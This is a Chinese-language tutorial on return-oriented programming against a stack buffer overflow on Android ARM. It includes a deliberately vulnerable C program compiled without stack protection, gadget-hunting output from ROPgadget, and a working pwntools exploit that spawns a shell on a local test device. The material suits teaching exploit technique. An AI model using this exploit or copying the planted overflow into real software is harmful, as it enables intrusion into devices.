1. 程式人生 > >Android 棧溢位攻擊—[3]ROP 淺析

Android 棧溢位攻擊—[3]ROP 淺析

在緩衝區溢位攻擊攻防發展過程中ROP技術作為對抗XN的利用技術,一直髮揮著重要的作用,在很多漏洞中其都是關鍵的攻擊手段。本文通過一個簡單的例子來對Android的ARM平臺下ROP技術做一個簡單的分析。

環境

  • ubuntu 14.04:除錯平臺

  • AOSP Prebuilt:AOSP倉庫包含預編譯好的工具鏈,用裡面的GDB來對C程式進行除錯。

  • LG Nexus 5:執行C程式的測試機。

程式碼

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include<dlfcn.h>
void printsystemaddr() { void* handle = dlopen("libc.so", RTLD_LAZY); printf("%p\n",dlsym(handle,"system")); fflush(stdout); } void mPrint(char* str , int len) { write(STDOUT_FILENO, str, len); } void function(char* str) { char buf[128]; strcpy(buf , str); } int main(int
argc, char** argv) { char buf[256]; printsystemaddr(); mPrint("stack overflow example !\n", 25); read(STDIN_FILENO, buf, 256); mPrint("call vulnerable function !\n" , 27); function(buf); }

同樣,在編譯程式時通過在Application.mk並加入APP_CFLAGS += -fno-stack-protector選項去掉棧保護防禦機制:

APP_ABI :=
armeabi APP_CFLAGS += -fno-stack-protector

通過ndk-build編譯後推送到手機中準備進行除錯,具體過程詳見搭建Android系統C程式除錯環境

分析

本例中棧溢位漏洞和上一篇的一致,唯一的卻別是本例中的程式沒有實現執行shell的system函式呼叫,不能夠簡單的利用其獲得shell,這裡不再描述緩衝區溢位細節。本例的利用仍是獲取shell,思路是定位程序中libc.so中system函式以及字串“/system/bin/sh”的位置,並尋找合適的gadget來實現呼叫system執行shell。

定位system函式和“/system/bin/sh”

雖然,我們的程式編譯時預設沒有開啟ALSR,但程式使用的系統動態連結庫會受到ALSR的約束,每次重新啟動程式後,libc.so的地址會隨機生成。所以,為了簡化這裡通過printsystemaddr函式來洩漏libc.so中system函式的地址,並根據system的地址來定位字串“/system/bin/sh”的位置。

這裡假設printsystemaddr函式輸出到控制檯的system函式地址是0xb6edb0e1。通過IDA等工具可以獲得libc.so中system函式以及字串“/system/bin/sh”的相對位置:
這裡寫圖片描述
這裡寫圖片描述
這樣就可以計算出程式執行時關鍵的元素的記憶體地址:

system_addr = 0xb6edb0e1
#這裡注意system_addr是Thumb模式下的地址,而system_bin_sh_addr是ARM模式下的地址
system_bin_sh_addr = system_addr + (0x0003F8AC - 0x000250E0) - 1

尋找gadget

為了呼叫system函式執行shell,我們需要對棧進行佈局來偽造函式呼叫時的棧幀。因為已經有了system函式和字串“/system/bin/sh”的地址,我們只需找到一個合適的gadget把“/system/bin/sh”地址儲存到R0暫存器即可。

這裡使用ROPGadget工具在libc.so中尋找:

[email protected]:~/ndk_workspace/study-ROP/level7/jni# ROPgadget --binary=./libc.so --thumb | grep "ldr r0"
...
0x0002df38 : add r2, sp, #4 ; str r0, [r1, #-0x8]! ; movs r0, #0 ; mov r1, sp ; blx #0x210f8 ; cbnz r0, #0x2df5c ; ldr r0, [sp, #4] ; pop {r1, r2, r3, pc}
...

在通過IDA獲得指令的相對位置:
這裡寫圖片描述
最後就算得到gadget的執行時位置:

gadget_addr = system_addr + (0x0002DF48- 0x000250E0)

佈局棧

有了上述關鍵的資訊的地址後,就可以佈局溢位後的棧來模擬呼叫過程:
這裡寫圖片描述

這裡需要注意每次執行gadget後sp的變化。

exp

#!/usr/bin/env python
from pwn import *

#p = process('./level7')
p = remote('127.0.0.1',10001)



system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)

p.recvuntil('\n')

#.text:000250E0                 EXPORT system

#.text:0002DF48 : ldr r0, [sp, #4] ; pop {r1, r2, r3, pc}
gadget_addr = system_addr + (0x0002DF48- 0x000250E0)

#.rodata:0003F8AC aSystemBinSh    DCB "/system/bin/sh"
system_bin_sh_addr = system_addr + (0x0003F8AC - 0x000250E0) - 1

payload =  'A'*132 + p32(gadget_addr) + 'A'*0x4 + p32(system_bin_sh_addr) + 'A'*0x4 + p32(system_addr)

p.send(payload)

p.interactive()

執行利用,

root@Tangxx:~/ndk_workspace/study-ROP/level7/jni# make exp
python /root/ndk_workspace/study-ROP/exp/level7.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
system_addr = 0xb6f880e1
[*] Switching to interactive mode
call vulnerable function !
$ ls
acct
cache
charger
config
d

參考資料